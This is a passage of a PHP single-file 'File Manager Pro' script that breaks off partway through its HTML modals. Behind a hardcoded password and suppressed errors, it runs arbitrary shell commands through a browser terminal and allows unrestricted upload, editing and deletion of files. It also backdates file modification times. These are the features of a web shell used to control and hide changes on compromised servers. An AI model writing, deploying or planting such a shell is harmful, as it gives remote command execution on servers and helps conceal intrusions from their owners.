<?php
session_start();
error_reporting(0);
ini_set('display_errors', 0);

// Configuration
$config = [
    'username' => 'admin',
    'password' => 'secure_password_2024!',
    'max_file_size' => 50 * 1024 * 1024, // 50MB
    'allowed_extensions' => ['txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'log', 'md', 'htaccess'],
    'terminal_enabled' => true,
    'show_hidden' => false
];

// Security functions
function sanitizePath($path) {
    $path = str_replace(['../', '..\\', '\\'], ['', '', '/'], $path);
    $realPath = realpath($path);
    return $realPath !== false ? $realPath : $path;
}

function formatBytes($size, $precision = 2) {
    if ($size == 0) return '0 B';
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = 0;
    while ($size > 1024 && $i < count($units) - 1) {
        $size /= 1024;
        $i++;
    }
    return round($size, $precision) . ' ' . $units[$i];
}

function getFileIcon($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $icons = [
        'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '⚡',
        'txt' => '📄', 'md' => '📝', 'json' => '🔧', 'xml' => '📋',
        'zip' => '📦', 'pdf' => '📕', 'jpg' => '🖼️', 'png' => '🖼️', 
        'gif' => '🖼️', 'log' => '📊', 'htaccess' => '⚙️'
    ];
    return $icons[$ext] ?? '📄';
}

function isEditable($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $editableExts = ['txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md', 'htaccess', 'log'];
    return in_array($ext, $editableExts);
}

// Authentication check
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) {
        $username = $_POST['username'] ?? '';
        $password = $_POST['password'] ?? '';
        
        if ($username === $config['username'] && $password === $config['password']) {
            $_SESSION['logged_in'] = true;
            $_SESSION['login_time'] = time();
            header("Location: " . $_SERVER['PHP_SELF']);
            exit;
        } else {
            $error = "Invalid credentials!";
        }
    }
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Secure File Manager - Login</title>
        <script src="https://cdn.tailwindcss.com"></script>
        <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
    </head>
    <body class="bg-gradient-to-br from-gray-900 via-blue-900 to-purple-900 min-h-screen flex items-center justify-center">
        <div class="bg-white/10 backdrop-blur-lg rounded-xl p-8 shadow-2xl border border-white/20 w-full max-w-md">
            <div class="text-center mb-8">
                <i class="fas fa-shield-alt text-4xl text-blue-400 mb-4"></i>
                <h2 class="text-3xl font-bold text-white mb-2">Secure Access</h2>
                <p class="text-gray-300">File Management System</p>
            </div>
            
            <?php if (isset($error)): ?>
                <div class="bg-red-500/20 border border-red-500 text-red-100 px-4 py-3 rounded mb-4">
                    <i class="fas fa-exclamation-triangle mr-2"></i><?php echo $error; ?>
                </div>
            <?php endif; ?>
            
            <form method="POST">
                <div class="space-y-6">
                    <div>
                        <label class="block text-sm font-medium text-gray-300 mb-2">Username</label>
                        <div class="relative">
                            <i class="fas fa-user absolute left-3 top-3 text-gray-400"></i>
                            <input type="text" name="username" required 
                                class="w-full pl-10 pr-4 py-3 bg-white/10 border border-white/20 rounded-lg text-white placeholder-gray-400 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:border-transparent"
                                placeholder="Enter username">
                        </div>
                    </div>
                    
                    <div>
                        <label class="block text-sm font-medium text-gray-300 mb-2">Password</label>
                        <div class="relative">
                            <i class="fas fa-lock absolute left-3 top-3 text-gray-400"></i>
                            <input type="password" name="password" required 
                                class="w-full pl-10 pr-4 py-3 bg-white/10 border border-white/20 rounded-lg text-white placeholder-gray-400 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:border-transparent"
                                placeholder="Enter password">
                        </div>
                    </div>
                    
                    <button type="submit" name="login"
                        class="w-full bg-gradient-to-r from-blue-600 to-purple-600 text-white py-3 rounded-lg font-semibold hover:from-blue-700 hover:to-purple-700 transition duration-300 transform hover:scale-105">
                        <i class="fas fa-sign-in-alt mr-2"></i>Access System
                    </button>
                </div>
            </form>
        </div>
    </body>
    </html>
    <?php exit; ?>
<?php } ?>

<?php
// Handle logout
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

// Main application logic
$currentDir = isset($_GET['dir']) ? sanitizePath($_GET['dir']) : getcwd();
$currentDir = str_replace('\\', '/', $currentDir);

// Handle AJAX requests
if (isset($_POST['ajax']) && $_POST['ajax'] === '1') {
    header('Content-Type: application/json');
    
    $action = $_POST['action'] ?? '';
    
    switch ($action) {
        case 'terminal':
            if ($config['terminal_enabled'] && isset($_POST['command'])) {
                $command = trim($_POST['command']);
                // Allow more commands but still filter dangerous ones
                $safeCommand = preg_replace('/[;&|`]/', '', $command);
                $output = '';
                
                // Execute command and capture output
                $descriptorspec = array(
                    0 => array("pipe", "r"),
                    1 => array("pipe", "w"),
                    2 => array("pipe", "w")
                );
                
                $process = proc_open("cd " . escapeshellarg($currentDir) . " && $safeCommand", $descriptorspec, $pipes);
                
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    $error = stream_get_contents($pipes[2]);
                    fclose($pipes[1]);
                    fclose($pipes[2]);
                    $return_value = proc_close($process);
                    
                    if (!empty($error)) {
                        $output .= "\n" . $error;
                    }
                }
                
                echo json_encode(['success' => true, 'output' => $output ?: 'Command executed successfully']);
            } else {
                echo json_encode(['success' => false, 'error' => 'Terminal disabled or invalid command']);
            }
            exit;
            
        case 'copy':
            if (isset($_POST['source']) && isset($_POST['destination'])) {
                $source = sanitizePath($_POST['source']);
                $dest = sanitizePath($_POST['destination']);
                if (copy($source, $dest)) {
                    echo json_encode(['success' => true, 'message' => 'File copied successfully']);
                } else {
                    echo json_encode(['success' => false, 'error' => 'Failed to copy file']);
                }
            }
            exit;
            
        case 'get_file_info':
            if (isset($_POST['file'])) {
                $file = sanitizePath($_POST['file']);
                if (file_exists($file)) {
                    $info = [
                        'success' => true,
                        'size' => formatBytes(filesize($file)),
                        'modified' => date('Y-m-d H:i:s', filemtime($file)),
                        'permissions' => substr(sprintf('%o', fileperms($file)), -4),
                        'is_symlink' => is_link($file),
                        'symlink_target' => is_link($file) ? readlink($file) : null,
                        'owner' => function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($file))['name'] : 'N/A'
                    ];
                    echo json_encode($info);
                } else {
                    echo json_encode(['success' => false, 'error' => 'File not found']);
                }
            }
            exit;
            
        case 'load_file':
            if (isset($_POST['file'])) {
                $file = sanitizePath($_POST['file']);
                if (file_exists($file) && is_file($file) && isEditable($file)) {
                    $content = file_get_contents($file);
                    echo json_encode(['success' => true, 'content' => $content]);
                } else {
                    echo json_encode(['success' => false, 'error' => 'File not found or not editable']);
                }
            }
            exit;

        case 'bulk_delete':
            if (isset($_POST['files']) && is_array($_POST['files'])) {
                $deleted = [];
                $failed = [];
                
                foreach ($_POST['files'] as $file) {
                    $filePath = sanitizePath($file);
                    if (file_exists($filePath)) {
                        if (is_dir($filePath)) {
                            $files = array_diff(scandir($filePath), array('.', '..'));
                            if (empty($files)) {
                                if (rmdir($filePath)) {
                                    $deleted[] = basename($filePath);
                                } else {
                                    $failed[] = basename($filePath);
                                }
                            } else {
                                $failed[] = basename($filePath) . ' (not empty)';
                            }
                        } else {
                            if (unlink($filePath)) {
                                $deleted[] = basename($filePath);
                            } else {
                                $failed[] = basename($filePath);
                            }
                        }
                    } else {
                        $failed[] = basename($file) . ' (not found)';
                    }
                }
                
                $message = '';
                if (!empty($deleted)) {
                    $message .= 'Deleted: ' . implode(', ', $deleted) . '. ';
                }
                if (!empty($failed)) {
                    $message .= 'Failed: ' . implode(', ', $failed) . '.';
                }
                
                echo json_encode([
                    'success' => !empty($deleted),
                    'message' => $message,
                    'deleted_count' => count($deleted),
                    'failed_count' => count($failed)
                ]);
            }
            exit;

        case 'bulk_copy':
            if (isset($_POST['files']) && is_array($_POST['files']) && isset($_POST['destination'])) {
                $destination = sanitizePath($_POST['destination']);
                $copied = [];
                $failed = [];
                
                foreach ($_POST['files'] as $file) {
                    $sourcePath = sanitizePath($file);
                    $fileName = basename($sourcePath);
                    $destPath = $destination . '/' . $fileName;
                    
                    if (file_exists($sourcePath) && !is_dir($sourcePath)) {
                        if (copy($sourcePath, $destPath)) {
                            $copied[] = $fileName;
                        } else {
                            $failed[] = $fileName;
                        }
                    } else {
                        $failed[] = $fileName . ' (not a file)';
                    }
                }
                
                $message = '';
                if (!empty($copied)) {
                    $message .= 'Copied: ' . implode(', ', $copied) . '. ';
                }
                if (!empty($failed)) {
                    $message .= 'Failed: ' . implode(', ', $failed) . '.';
                }
                
                echo json_encode([
                    'success' => !empty($copied),
                    'message' => $message,
                    'copied_count' => count($copied),
                    'failed_count' => count($failed)
                ]);
            }
            exit;
    }
    
    echo json_encode(['success' => false, 'error' => 'Invalid action']);
    exit;
}

// Handle file operations
if (isset($_POST['upload']) && isset($_FILES['file'])) {
    if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
        $filename = basename($_FILES['file']['name']);
        $targetPath = $currentDir . '/' . $filename;
        
        if ($_FILES['file']['size'] <= $config['max_file_size']) {
            if (move_uploaded_file($_FILES['file']['tmp_name'], $targetPath)) {
                $uploadMessage = "File uploaded successfully!";
                $uploadSuccess = true;
            } else {
                $uploadMessage = "Upload failed!";
                $uploadSuccess = false;
            }
        } else {
            $uploadMessage = "File too large! Max size: " . formatBytes($config['max_file_size']);
            $uploadSuccess = false;
        }
    } else {
        $uploadMessage = "Upload error occurred!";
        $uploadSuccess = false;
    }
}

if (isset($_GET['delete'])) {
    $file = sanitizePath($_GET['delete']);
    if (file_exists($file)) {
        $success = false;
        if (is_dir($file)) {
            // Check if directory is empty
            $files = array_diff(scandir($file), array('.', '..'));
            if (empty($files)) {
                $success = rmdir($file);
            } else {
                $deleteMessage = "Directory is not empty!";
                $deleteSuccess = false;
            }
        } else {
            $success = unlink($file);
        }
        
        if ($success) {
            // Redirect to avoid blank page
            $redirectUrl = "?dir=" . urlencode($currentDir);
            header("Location: $redirectUrl");
            echo "<script>window.location.href = '$redirectUrl';</script>";
            exit;
        } else {
            if (!isset($deleteMessage)) {
                $deleteMessage = "Failed to delete item!";
                $deleteSuccess = false;
            }
        }
    } else {
        $deleteMessage = "File or directory not found!";
        $deleteSuccess = false;
    }
}

if (isset($_POST['create_folder'])) {
    $folderName = trim($_POST['folder_name']);
    if (!empty($folderName)) {
        $folderPath = $currentDir . '/' . $folderName;
        if (!file_exists($folderPath)) {
            if (mkdir($folderPath, 0755)) {
                $folderMessage = "Folder created successfully!";
                $folderSuccess = true;
            } else {
                $folderMessage = "Failed to create folder!";
                $folderSuccess = false;
            }
        } else {
            $folderMessage = "Folder already exists!";
            $folderSuccess = false;
        }
    }
}

if (isset($_POST['save_file'])) {
    $filePath = sanitizePath($_POST['file_path']);
    $content = $_POST['content'];
    if (file_put_contents($filePath, $content) !== false) {
        $editMessage = "File saved successfully!";
        $editSuccess = true;
    } else {
        $editMessage = "Failed to save file!";
        $editSuccess = false;
    }
}

if (isset($_POST['create_file'])) {
    $fileName = trim($_POST['file_name']);
    $fileContent = $_POST['file_content'] ?? '';
    if (!empty($fileName)) {
        $filePath = $currentDir . '/' . $fileName;
        if (!file_exists($filePath)) {
            if (file_put_contents($filePath, $fileContent) !== false) {
                $createMessage = "File created successfully!";
                $createSuccess = true;
            } else {
                $createMessage = "Failed to create file!";
                $createSuccess = false;
            }
        } else {
            $createMessage = "File already exists!";
            $createSuccess = false;
        }
    }
}

if (isset($_POST['rename_item'])) {
    $oldPath = sanitizePath($_POST['old_path']);
    $newName = trim($_POST['new_name']);
    if (!empty($newName) && file_exists($oldPath)) {
        $newPath = dirname($oldPath) . '/' . $newName;
        if (rename($oldPath, $newPath)) {
            $renameMessage = "Item renamed successfully!";
            $renameSuccess = true;
        } else {
            $renameMessage = "Failed to rename item!";
            $renameSuccess = false;
        }
    }
}

// Handle edit date modified
if (isset($_POST['edit_date_modified'])) {
    $filePath = sanitizePath($_POST['file_path']);
    $newDate = $_POST['new_date'];
    $newTime = $_POST['new_time'] ?? '00:00';
    
    if (!empty($newDate) && file_exists($filePath)) {
        // Combine date and time
        $dateTimeString = $newDate . ' ' . $newTime;
        $timestamp = strtotime($dateTimeString);
        
        if ($timestamp !== false) {
            if (touch($filePath, $timestamp)) {
                $dateMessage = "File modification date updated successfully!";
                $dateSuccess = true;
            } else {
                $dateMessage = "Failed to update modification date!";
                $dateSuccess = false;
            }
        } else {
            $dateMessage = "Invalid date format!";
            $dateSuccess = false;
        }
    } else {
        $dateMessage = "File not found or invalid date!";
        $dateSuccess = false;
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager Pro</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
    <style>
        .file-row:hover { background-color: rgba(55, 65, 81, 0.5); }
        .file-row.selected { background-color: rgba(59, 130, 246, 0.3); }
        .loading { opacity: 0.6; pointer-events: none; }
        .notification { transition: all 0.3s ease; }
        .terminal-output { font-family: 'Courier New', monospace; }
        .btn-action {
            display: inline-block;
            padding: 0.25rem 0.5rem;
            margin: 0.125rem;
            border-radius: 0.25rem;
            text-decoration: none;
            font-size: 0.75rem;
            transition: all 0.2s;
        }
        .btn-edit { background-color: #d97706; color: white; }
        .btn-edit:hover { background-color: #b45309; }
        .btn-info { background-color: #2563eb; color: white; }
        .btn-info:hover { background-color: #1d4ed8; }
        .btn-rename { background-color: #ea580c; color: white; }
        .btn-rename:hover { background-color: #c2410c; }
        .btn-copy { background-color: #16a34a; color: white; }
        .btn-copy:hover { background-color: #15803d; }
        .btn-download { background-color: #7c3aed; color: white; }
        .btn-download:hover { background-color: #6d28d9; }
        .btn-date { background-color: #0891b2; color: white; }
        .btn-date:hover { background-color: #0e7490; }
        .btn-delete { background-color: #dc2626; color: white; }
        .btn-delete:hover { background-color: #b91c1c; }
        .bulk-actions {
            transform: translateY(-100%);
            transition: all 0.3s ease;
        }
        .bulk-actions.show {
            transform: translateY(0);
        }
        .selection-checkbox {
            width: 18px;
            height: 18px;
            accent-color: #3b82f6;
        }
    </style>
</head>
<body class="bg-gray-900 text-gray-100 min-h-screen">
    <!-- Bulk Actions Bar -->
    <div id="bulkActionsBar" class="bulk-actions fixed top-0 left-0 right-0 bg-blue-600 text-white px-6 py-3 z-50 shadow-lg">
        <div class="flex items-center justify-between">
            <div class="flex items-center space-x-4">
                <span id="selectedCount">0 items selected</span>
                <button onclick="selectAll()" class="bg-blue-700 hover:bg-blue-800 px-3 py-1 rounded text-sm">
                    <i class="fas fa-check-square mr-1"></i>Select All
                </button>
                <button onclick="deselectAll()" class="bg-blue-700 hover:bg-blue-800 px-3 py-1 rounded text-sm">
                    <i class="fas fa-square mr-1"></i>Deselect All
                </button>
            </div>
            <div class="flex items-center space-x-2">
                <button onclick="bulkCopy()" class="bg-green-600 hover:bg-green-700 px-3 py-1 rounded text-sm">
                    <i class="fas fa-copy mr-1"></i>Copy
                </button>
                <button onclick="bulkDelete()" class="bg-red-600 hover:bg-red-700 px-3 py-1 rounded text-sm">
                    <i class="fas fa-trash mr-1"></i>Delete
                </button>
                <button onclick="hideBulkActions()" class="bg-gray-600 hover:bg-gray-700 px-3 py-1 rounded text-sm">
                    <i class="fas fa-times mr-1"></i>Cancel
                </button>
            </div>
        </div>
    </div>

    <!-- Navigation Header -->
    <nav class="bg-gray-800 border-b border-gray-700 px-6 py-4 sticky top-0 z-40">
        <div class="flex items-center justify-between">
            <div class="flex items-center space-x-4">
                <i class="fas fa-folder-open text-2xl text-blue-400"></i>
                <h1 class="text-xl font-bold">File Manager Pro</h1>
            </div>
            <div class="flex items-center space-x-4">
                <span class="text-sm text-gray-400">
                    <i class="fas fa-clock mr-1"></i>
                    Session: <?php echo date('H:i:s', $_SESSION['login_time']); ?>
                </span>
                <a href="?logout=1" class="bg-red-600 hover:bg-red-700 px-4 py-2 rounded-lg transition duration-200">
                    <i class="fas fa-sign-out-alt mr-2"></i>Logout
                </a>
            </div>
        </div>
    </nav>

    <div class="flex min-h-screen">
        <!-- Sidebar -->
        <div class="w-80 bg-gray-800 border-r border-gray-700 p-4 overflow-y-auto">
            <!-- Quick Actions -->
            <div class="mb-6">
                <h3 class="text-lg font-semibold mb-3 text-blue-400">Quick Actions</h3>
                <div class="space-y-2">
                    <button onclick="openUploadModal()" class="w-full bg-blue-600 hover:bg-blue-700 px-4 py-2 rounded-lg transition duration-200">
                        <i class="fas fa-upload mr-2"></i>Upload File
                    </button>
                    <button onclick="openCreateFolderModal()" class="w-full bg-green-600 hover:bg-green-700 px-4 py-2 rounded-lg transition duration-200">
                        <i class="fas fa-folder-plus mr-2"></i>New Folder
                    </button>
                    <button onclick="openCreateFileModal()" class="w-full bg-yellow-600 hover:bg-yellow-700 px-4 py-2 rounded-lg transition duration-200">
                        <i class="fas fa-file-plus mr-2"></i>New File
                    </button>
                    <button onclick="openTerminal()" class="w-full bg-purple-600 hover:bg-purple-700 px-4 py-2 rounded-lg transition duration-200">
                        <i class="fas fa-terminal mr-2"></i>Terminal
                    </button>
                </div>
            </div>

            <!-- Selection Actions -->
            <div class="mb-6">
                <h3 class="text-lg font-semibold mb-3 text-blue-400">Selection</h3>
                <div class="space-y-2">
                    <button onclick="toggleSelectionMode()" id="selectionModeBtn" class="w-full bg-indigo-600 hover:bg-indigo-700 px-4 py-2 rounded-lg transition duration-200">
                        <i class="fas fa-mouse-pointer mr-2"></i>Enable Selection
                    </button>
                    <div id="selectionStats" class="text-sm text-gray-400 bg-gray-700 p-2 rounded hidden">
                        <div>Selected: <span id="selectionCount">0</span> items</div>
                        <div>Total Size: <span id="selectionSize">0 B</span></div>
                    </div>
                </div>
            </div>

            <!-- Directory Tree -->
            <div class="mb-6">
                <h3 class="text-lg font-semibold mb-3 text-blue-400">Current Path</h3>
                <div class="bg-gray-700 p-3 rounded-lg">
                    <div class="breadcrumb text-sm">
                        <?php
                        $pathParts = explode('/', $currentDir);
                        $buildPath = '';
                        echo '<a href="?dir=" class="text-blue-400 hover:text-blue-300"><i class="fas fa-home mr-1"></i>Root</a>';
                        foreach ($pathParts as $i => $part) {
                            if ($part === '' || $part === '.') continue;
                            $buildPath .= '/' . $part;
                            if ($i === count($pathParts) - 1) {
                                echo ' / <span class="text-blue-400 font-semibold">' . htmlspecialchars($part) . '</span>';
                            } else {
                                echo ' / <a href="?dir=' . urlencode($buildPath) . '" class="text-gray-300 hover:text-blue-400">' . htmlspecialchars($part) . '</a>';
                            }
                        }
                        ?>
                    </div>
                </div>
            </div>

            <!-- System Info -->
            <div>
                <h3 class="text-lg font-semibold mb-3 text-blue-400">System Info</h3>
                <div class="bg-gray-700 p-3 rounded-lg text-sm space-y-1">
                    <div><i class="fas fa-server mr-2 text-gray-400"></i>PHP: <?php echo PHP_VERSION; ?></div>
                    <div><i class="fas fa-hdd mr-2 text-gray-400"></i>Free Space: <?php echo formatBytes(disk_free_space($currentDir)); ?></div>
                    <div><i class="fas fa-folder mr-2 text-gray-400"></i>Items: <?php echo count(scandir($currentDir)) - 2; ?></div>
                    <div><i class="fas fa-map-marker-alt mr-2 text-gray-400"></i>Location: <?php echo basename($currentDir) ?: '/'; ?></div>
                </div>
            </div>
        </div>

        <!-- Main Content -->
        <div class="flex-1 p-6 overflow-y-auto">
            <!-- Messages -->
            <?php 
            $messages = [
                ['uploadMessage', 'uploadSuccess'],
                ['folderMessage', 'folderSuccess'], 
                ['editMessage', 'editSuccess'],
                ['createMessage', 'createSuccess'],
                ['renameMessage', 'renameSuccess'],
                ['deleteMessage', 'deleteSuccess'],
                ['dateMessage', 'dateSuccess']
            ];
            
            foreach ($messages as [$msg, $success]) {
                if (isset($$msg)): ?>
                    <div class="mb-4 p-4 rounded-lg <?php echo ${$success} ? 'bg-green-600' : 'bg-red-600'; ?> message-alert">
                        <i class="fas <?php echo ${$success} ? 'fa-check' : 'fa-times'; ?> mr-2"></i>
                        <?php echo $msg; ?>
                    </div>
                <?php endif;
            } ?>

            <!-- File List -->
            <div class="bg-gray-800 rounded-lg overflow-hidden">
                <div class="bg-gray-700 px-6 py-4 border-b border-gray-600">
                    <div class="flex items-center justify-between">
                        <h2 class="text-lg font-semibold">Directory Contents</h2>
                        <div class="flex items-center space-x-3">
                            <label class="flex items-center space-x-2 text-sm">
                                <input type="checkbox" id="masterCheckbox" class="selection-checkbox" onchange="toggleAllSelection(this)">
                                <span>Select All</span>
                            </label>
                            <button onclick="refreshDirectory()" class="bg-blue-600 hover:bg-blue-700 px-3 py-1 rounded text-sm">
                                <i class="fas fa-sync-alt mr-1"></i>Refresh
                            </button>
                        </div>
                    </div>
                </div>
                
                <div class="overflow-x-auto">
                    <table class="w-full">
                        <thead class="bg-gray-700">
                            <tr>
                                <th class="px-6 py-3 text-left text-sm font-medium text-gray-300 w-12">
                                    <i class="fas fa-check-square text-gray-400"></i>
                                </th>
                                <th class="px-6 py-3 text-left text-sm font-medium text-gray-300">Name</th>
                                <th class="px-6 py-3 text-left text-sm font-medium text-gray-300">Size</th>
                                <th class="px-6 py-3 text-left text-sm font-medium text-gray-300">Modified</th>
                                <th class="px-6 py-3 text-left text-sm font-medium text-gray-300">Type</th>
                                <th class="px-6 py-3 text-left text-sm font-medium text-gray-300">Actions</th>
                            </tr>
                        </thead>
                        <tbody class="divide-y divide-gray-700">
                            <?php if ($currentDir !== getcwd() && dirname($currentDir) !== $currentDir): ?>
                                <tr class="file-row">
                                    <td class="px-6 py-4">--</td>
                                    <td class="px-6 py-4">
                                        <a href="?dir=<?php echo urlencode(dirname($currentDir)); ?>" class="text-blue-400 hover:text-blue-300 flex items-center">
                                            <i class="fas fa-level-up-alt mr-2"></i>.. (Parent Directory)
                                        </a>
                                    </td>
                                    <td class="px-6 py-4 text-gray-400">--</td>
                                    <td class="px-6 py-4 text-gray-400">--</td>
                                    <td class="px-6 py-4 text-gray-400">Directory</td>
                                    <td class="px-6 py-4">--</td>
                                </tr>
                            <?php endif; ?>

                            <?php
                            $items = scandir($currentDir);
                            $directories = [];
                            $files = [];

                            foreach ($items as $item) {
                                if ($item === '.' || $item === '..') continue;
                                if (!$config['show_hidden'] && $item[0] === '.') continue;
                                
                                $fullPath = $currentDir . '/' . $item;
                                
                                if (is_dir($fullPath)) {
                                    $directories[] = $item;
                                } else {
                                    $files[] = $item;
                                }
                            }

                            sort($directories);
                            sort($files);

                            // Display directories first
                            foreach ($directories as $dir):
                                $fullPath = $currentDir . '/' . $dir;
                                $isSymlink = is_link($fullPath);
                            ?>
                                <tr class="file-row" data-path="<?php echo htmlspecialchars($fullPath); ?>" data-type="directory" data-size="0">
                                    <td class="px-6 py-4">
                                        <input type="checkbox" class="selection-checkbox item-checkbox" 
                                               data-path="<?php echo htmlspecialchars($fullPath); ?>"
                                               data-name="<?php echo htmlspecialchars($dir); ?>"
                                               data-type="directory"
                                               data-size="0"
                                               onchange="updateSelection()">
                                    </td>
                                    <td class="px-6 py-4">
                                        <div class="flex items-center">
                                            <a href="?dir=<?php echo urlencode($fullPath); ?>" class="text-blue-400 hover:text-blue-300 flex items-center">
                                                <i class="fas fa-folder mr-2 text-yellow-400"></i>
                                                <span><?php echo htmlspecialchars($dir); ?></span>
                                                <?php if ($isSymlink): ?>
                                                    <i class="fas fa-link ml-2 text-cyan-400" title="Symbolic Link"></i>
                                                <?php endif; ?>
                                            </a>
                                        </div>
                                    </td>
                                    <td class="px-6 py-4 text-gray-400">--</td>
                                    <td class="px-6 py-4 text-gray-400"><?php echo date('Y-m-d H:i', filemtime($fullPath)); ?></td>
                                    <td class="px-6 py-4 text-gray-400">Directory<?php echo $isSymlink ? ' (Link)' : ''; ?></td>
                                    <td class="px-6 py-4">
                                        <div class="flex flex-wrap">
                                            <button onclick="showFileInfo('<?php echo addslashes($fullPath); ?>')" 
                                                class="btn-action btn-info" title="Info">
                                                <i class="fas fa-info-circle"></i>
                                            </button>
                                            <button onclick="showRenameModal('<?php echo addslashes($fullPath); ?>', '<?php echo addslashes($dir); ?>')" 
                                                class="btn-action btn-rename" title="Rename">
                                                <i class="fas fa-pencil-alt"></i>
                                            </button>
                                            <button onclick="showEditDateModal('<?php echo addslashes($fullPath); ?>')" 
                                                class="btn-action btn-date" title="Edit Date">
                                                <i class="fas fa-calendar-alt"></i>
                                            </button>
                                            <button onclick="copyToClipboard('<?php echo addslashes($fullPath); ?>')" 
                                                class="btn-action btn-copy" title="Copy Path">
                                                <i class="fas fa-copy"></i>
                                            </button>
                                            <a href="?dir=<?php echo urlencode($currentDir); ?>&delete=<?php echo urlencode($fullPath); ?>" 
                                                onclick="return confirmDelete('<?php echo addslashes($dir); ?>', 'directory')"
                                                class="btn-action btn-delete" title="Delete">
                                                <i class="fas fa-trash"></i>
                                            </a>
                                        </div>
                                    </td>
                                </tr>
                            <?php endforeach; ?>

                            <!-- Display files -->
                            <?php foreach ($files as $file):
                                $fullPath = $currentDir . '/' . $file;
                                $isSymlink = is_link($fullPath);
                                $fileSize = filesize($fullPath);
                                $fileExt = strtolower(pathinfo($file, PATHINFO_EXTENSION));
                            ?>
                                <tr class="file-row" data-path="<?php echo htmlspecialchars($fullPath); ?>" data-type="file" data-size="<?php echo $fileSize; ?>">
                                    <td class="px-6 py-4">
                                        <input type="checkbox" class="selection-checkbox item-checkbox" 
                                               data-path="<?php echo htmlspecialchars($fullPath); ?>"
                                               data-name="<?php echo htmlspecialchars($file); ?>"
                                               data-type="file"
                                               data-size="<?php echo $fileSize; ?>"
                                               onchange="updateSelection()">
                                    </td>
                                    <td class="px-6 py-4">
                                        <div class="flex items-center">
                                            <span class="mr-2"><?php echo getFileIcon($file); ?></span>
                                            <span><?php echo htmlspecialchars($file); ?></span>
                                            <?php if ($isSymlink): ?>
                                                <i class="fas fa-link ml-2 text-cyan-400" title="Symbolic Link"></i>
                                            <?php endif; ?>
                                        </div>
                                    </td>
                                    <td class="px-6 py-4 text-gray-400"><?php echo formatBytes($fileSize); ?></td>
                                    <td class="px-6 py-4 text-gray-400"><?php echo date('Y-m-d H:i', filemtime($fullPath)); ?></td>
                                    <td class="px-6 py-4 text-gray-400"><?php echo strtoupper($fileExt) ?: 'File'; ?><?php echo $isSymlink ? ' (Link)' : ''; ?></td>
                                    <td class="px-6 py-4">
                                        <div class="flex flex-wrap">
                                            <?php if (isEditable($file)): ?>
                                                <button onclick="editFile('<?php echo addslashes($fullPath); ?>')" 
                                                    class="btn-action btn-edit" title="Edit">
                                                    <i class="fas fa-edit"></i>
                                                </button>
                                            <?php endif; ?>
                                            <button onclick="showFileInfo('<?php echo addslashes($fullPath); ?>')" 
                                                class="btn-action btn-info" title="Info">
                                                <i class="fas fa-info-circle"></i>
                                            </button>
                                            <button onclick="showRenameModal('<?php echo addslashes($fullPath); ?>', '<?php echo addslashes($file); ?>')" 
                                                class="btn-action btn-rename" title="Rename">
                                                <i class="fas fa-pencil-alt"></i>
                                            </button>
                                            <button onclick="showEditDateModal('<?php echo addslashes($fullPath); ?>')" 
                                                class="btn-action btn-date" title="Edit Date">
                                                <i class="fas fa-calendar-alt"></i>
                                            </button>
                                            <button onclick="copyToClipboard('<?php echo addslashes($fullPath); ?>')" 
                                                class="btn-action btn-copy" title="Copy Path">
                                                <i class="fas fa-copy"></i>
                                            </button>
                                            <a href="<?php echo $fullPath; ?>" target="_blank"
                                                class="btn-action btn-download" title="Download">
                                                <i class="fas fa-download"></i>
                                            </a>
                                            <a href="?dir=<?php echo urlencode($currentDir); ?>&delete=<?php echo urlencode($fullPath); ?>" 
                                                onclick="return confirmDelete('<?php echo addslashes($file); ?>', 'file')"
                                                class="btn-action btn-delete" title="Delete">
                                                <i class="fas fa-trash"></i>
                                            </a>
                                        </div>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>

    <!-- Modals -->
    <!-- Upload Modal -->
    <div id="uploadModal" class="fixed inset-0 bg-black bg-opacity-50 hidden flex items-center justify-center z-50">
        <div class="bg-gray-800 rounded-lg p-6 w-full max-w-md">
            <h3 class="text-lg font-semibold mb-4">Upload File</h3>
            <form method="POST" enctype="multipart/form-data">
                <div class="mb-4">
                    <input type="file" name="file" required 
                        class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white file:bg-blue-600 file:text-white file:border-0 file:rounded file:px-4 file:py-2 file:mr-4">
                    <div class="text-xs text-gray-400 mt-2">Max size: <?php echo formatBytes($config['max_file_size']); ?></div>
                </div>
                <div class="flex justify-end space-x-3">
                    <button type="button" onclick="closeUploadModal()" 
                        class="bg-gray-600 hover:bg-gray-700 px-4 py-2 rounded-lg">Cancel</button>
                    <button type="submit" name="upload" 
                        class="bg-blue-600 hover:bg-blue-700 px-4 py-2 rounded-lg">Upload</button>
                </div>
            </form>
        </div>
    </div>

    <!-- Create Folder Modal -->
    <div id="createFolderModal" class="fixed inset-0 bg-black bg-opacity-50 hidden flex items-center justify-center z-50">
        <div class="bg-gray-800 rounded-lg p-6 w-full max-w-md">
            <h3 class="text-lg font-semibold mb-4">Create New Folder</h3>
            <form method="POST">
                <div class="mb-4">
                    <input type="text" name="folder_name" placeholder="Folder name" required 
